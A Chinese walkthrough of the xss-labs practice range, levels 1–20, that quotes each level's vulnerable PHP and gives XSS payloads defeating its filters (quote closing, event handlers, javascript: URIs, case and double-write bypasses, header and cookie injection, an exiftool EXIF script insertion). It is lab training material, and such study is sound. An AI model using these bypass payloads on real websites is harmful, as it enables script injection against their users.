在此先鸣谢参考文献的作者H3rmesk1t
参考文献https://blog.csdn.net/LYJ20010728/article/details/116462782
Level 1
经典payload直接打即可
1
| name=<script>alert(1)</script>
|
Level 2
先随便打个经典payload上去,发现有问题,我们的payload之能作为查询的值了,说明里面存在转义,可以将我们输进去的代码块转义成普通搜索的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> //注入点 <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
注意观察
value处是有闭合的
这里有<>将语句闭合,除此之外还存在一个””,那我们也直接打一个”>上去将
1
| <input name=keyword value="'.$str.'">
|
这里面的value前面的<闭合,然后后面我们传上去的payload后面的值就可以脱离语句,成功执行
1
| keyword=><script>alert(1)</script>
|
level 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
出现了一些陌生的内容
htmlspecialchars函数
1 2 3
| 使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素 但是默认是只编码双引号的,而且单引号无论如何都不转义。 htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
|
例如
1 2 3 4 5
| & (和号)成为 & " (双引号)成为 " ' (单引号)成为 ' < (小于)成为 < > (大于)成为 >
|
注意此处的单引号,它是没有什么变化的
那么这种情况下,我们一般要用事件来触发弹窗
- 鼠标点击事件: onclick
payload
用两个单引号前后闭合,把value给闭了,然后就是把鼠标点击这个事件给它整上去了,最后只要点击鼠标就可以触发alert
1 2
| <input name="keyword" value='' onclick='alert(1)'>
|
闭合后就是上面这个意思
- onfocus事件
payload
1
| ' onfocus=alert(1) autofocus='
|
1 2
| <input name="keyword" value='' onfocus=alert(1) autofocus='>
|
很明显第一个单引号用于闭合value,那么后面的那个呢?
最后那个单引号,主要是为了 HTML 语法“闭合”——保证后续 HTML 不至于断裂。
虽然这里看起来多余,但放上去更保险,能让浏览器按预期解析整个标签
接下来来详细的讲解一下onfocus事件
onfocus事件:当元素获得焦点时触发。
alert(1):获得焦点时,执行alert(1)
什么是焦点?
“焦点(focus)”指的是当前接受用户键盘输入或交互的那个元素。只有可交互的元素(比如 input、button、可聚焦的链接
甚至通过 tabindex 设置的任意元素)才能“获得焦点”。
如何获得焦点
用户点击
当你用鼠标点到一个可输入框(input、textarea)或按钮上,它就会获得焦点。
键盘 Tab 键切换
按 Tab(或 ⇧ Tab)可以在页面上按顺序切换可聚焦元素,每切换一个元素,就相当于让它“获得焦点”。
脚本主动聚焦
JavaScript 里可以调用元素的 focus() 方法:
1
| document.getElementById('myInput').focus();
|
这样会把光标直接跳到那个输入框里,等同于用户点了一下它。
autofocus
HTML5 标准里的一个布尔属性,一旦加在表单元素上,该元素页面加载完毕后会自动获得焦点。
作用:自动触发上面写好的 onfocus 处理器,无需用户再点击或 Tab 键切换。
简单来说就是自执行
那这个payload很显然了
同理可以构造
1
| " onfocus=javascript:alert() "
|
这个使用了javascript伪协议,但是我感觉此处没什么必要,后面我们会再来谈JavaScript伪协议
level 4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
|
注意到
1 2
| $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2);
|
这里有个过滤
但是我们上面的那些payload似乎都没有带<>的,所以直接再打,只要把闭合符号改成”即可
level 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
|
稍微审计一下就会发现猫腻
1 2
| $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);
|
这里是把script和on都过滤了
我们在上面讲的两种事件触发方法都不可避免的提到on这个字符串,因此这题要另寻出路
大小写过滤?
虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了
a href标签法
exp
1 2 3 4 5
| <div> 用户评论:</div> <a href="javascript:alert(1)">点击这里</a> <div> </div>
|
这里先把上面的/div闭合了,下面的也闭合,然后就用a href执行
href属性的意思是 当标签a被点击的时候,就会触发执行转跳,也可以触发执行一段js代码
我们此处用的JavaScript代码就是用JavaScript伪协议写的
javascript:alert(1) 使用了java伪协议,感兴趣的可以百度查查,就是把javascript: :后面的代码当JavaScript来执行
payload
1
| "> <a href=javascript:alert()>xxx</a> <"
|
这里打上去之后会自动给xxx添加一个的标签,这个时候直接在页面中点击xxx即可xss
要是嫌麻烦也可以不添加xxx(a这个标签的内容不用写全)
直接
1
| "><a href="javascript:alert(1)">
|
这样子可以直接把>打上a的标签,并且出现在页面中,之后点击>即可触发href
3.
payload
1
| "><iframe src="javascript:alert(1)"></iframe>
|
解释
1 2 3
| iframe 是一个可以加载另一个网页的内联框架。 src="javascript:alert(1)" 利用 javascript: 协议让浏览器执行 JS。 因为 iframe 会尝试加载这个 “地址”,所以实际上会执行:alert(1)
|
人话:加入假图片,利用JavaScript协议直接执行alert(1)
level 6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>
|
简单代审就发现我们上次的利用手段基本上都被ban了
1 2 3 4 5
| $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
|
但是注意到没有大小写转换函数,那么这题直接大小写绕过即可
1
| "><ScRipt>alert(1)</SCript>
|
我们上面其他的payload也可以通过大小写转换绕过
level 7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body>
|
这里直接就给我们统一转换成小写了,但是没关系,可以用双写绕过
双写绕过原理
1 2
| oonn中间的on被过滤掉,那么两边就会合成一个新的on,就可以起到效果(这里没用循环匹配字符串) 比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
|
payload
1
| "><scscriptript>alert(1)</sscriptcript>
|
level 8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
|
纯小写并且破坏了我们可以利用的标签的结构,无法大小写与双写绕过,value是双引号闭合,这里双引号也被实体化,前面的常规手法都不行
这里注意到
1 2 3
| <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>
|
这里要讲一个href的隐藏属性
href可以自动Unicode解码
那这就很好了,直接unicode编码打上去即可
payload
1
| javascript:alert()
|
对的,这里你就别想着说用
1
| <script>alert(1)</script>
|
来发动弹窗了,这里value是交给href的,href后面跟个JavaScript伪协议可以,跟个标签不行(上面几题的实践也已经反复说明了)
level 9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level10.php?keyword=well done!"; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
|
这里你只要懂strpos函数的作用即可
简单来说: strpos 是 PHP 中用于在字符串中查找子字符串首次出现位置的函数。(注意它大小写敏感)
那么我只要在我打的payload里写入http://即可
1
| javascript:alert()/* http:// */
|
注意这里把”http://“注释掉,否则是不能弹窗的
level 10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
注意到
1 2 3 4 5
| <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form>
|
这里的输入框都被隐藏了,前端改一下,把hidden改成text
好吧这步没有,还是得在
1
| <input name="t_sort" value="'.$str33.'" type="hidden">
|
做文章,然后构造闭合语句把type改成text
这里keyword是假的注入点,我们需要去注入t_sort
payload
1
| ?t_sort=" onfocus=javascript:alert() type="text
|
这里需要去打一个text把输入框显示出来
level 11
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
这里直接两个可控变量实体化
我感觉真正的入手点应该只有t_ref,前两个变量感觉都萎了
str33是在得到referrer头之后又过滤掉<>得到的
那就很显然了,payload可以和level10一样,但是注入点是referrer头
bp直接打即可
payload
1
| " onfoucs=javascript:alert(1) type"=text
|
level 12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level13.php?keyword=good job!"; } </script> <title>欢迎来到level12</title> </head> <body> <h1 align=center>欢迎来到level12</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
没变化,就是注入点改成agent了,这里payload可以和上面的一样
但是为了多样性,我这里用另外一种payload
1
| " type="text" onmousemove="alert(1)
|
先闭合前面后触发事件哈哈
level 13
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
注入点在cookie,其余的一点没变
level 14
1 2 3 4 5 6 7 8 9 10
| <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center> </body> </html>
|
不一样了,这里看着像关于一张图片,
看看chatgpt怎么说

作为musc兽,直接用 exiftool 给一张图片的 EXIF Comment 写入 JS
1 2 3
| exiftool -overwrite_original \ -Comment='<script>alert("XSS!")</script>' \ input.jpg
|
丸辣,上传点呢?base64编码解码写入?
这里感觉和之前的FCTF的一题很像,关于某个系统可以传pdf打xss的洞,pdf内写入弹shell的语句,然后就直接反弹shell
level 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <html ng-app> <head> <meta charset="utf-8"> <script src="angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
|
没什么过滤,有个实体化函数,还有一个
查查看
ng-include指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
简单来说:ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
那就试试把第一关的文件包含试试
OK,实验很成功,payload是

那我们就直接用img标签来打,由于图片一定是level 1的文件内容,所以我们可以用img标签打xss来触发
由于我们是已经是包含在level 1里面,所以当我们只需要打level 1的参数即可,即用name来传参
那么src传到实体化函数的参数里没有我们要用的img打xss的payload,实体化函数形同虚设
1
| 注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的
|
1
| ?src='/level1.php?name=<img src=1 onmouseover=alert()>'
|
level 16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html>
|
注意到它把空格过滤了,那这得想个办法绕过
- “0D”是把光标移到同一行的顶头——回车
- “0A”是把光标移到下一行——换行
这两个在html中均可以当成空格使用
那再看看有什么过滤,仅仅只是过滤掉JavaScript等小标签,那我们可以打的payload就很多了
1
| keyword=<img%0dsrc=1%0donerror=alert(1)>
|
level 17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>
|
需要加载个什么什么玩意,不懂
代码审计一下,其实可以把xsf01绕过的
直接打即可
1
| arg01=a&arg02=aaa onmousemove='alert(1)'
|
这样子其实就可以直接a=aaa onmousemove=’alert(1)’在这个标签中执行
这个其实也是就embed 标签 拼接绕过
level 18
和level 17同理
level 19
flash打xss
参考文献
https://blog.csdn.net/u014029795/article/details/103213877
需要对swf进行反编译才能得到payload
payload
1
| arg01=version&arg02=<a href="javascript:alert(1)">123</a>
|
level 20
https://blog.csdn.net/u014029795/article/details/103217680
最后-关于flash打xss
https://blog.csdn.net/weixin_30702413/article/details/99326627
这篇文章讲的挺好,值得细读
感觉除了学点过滤,其余的啥都没学到啊,本文结束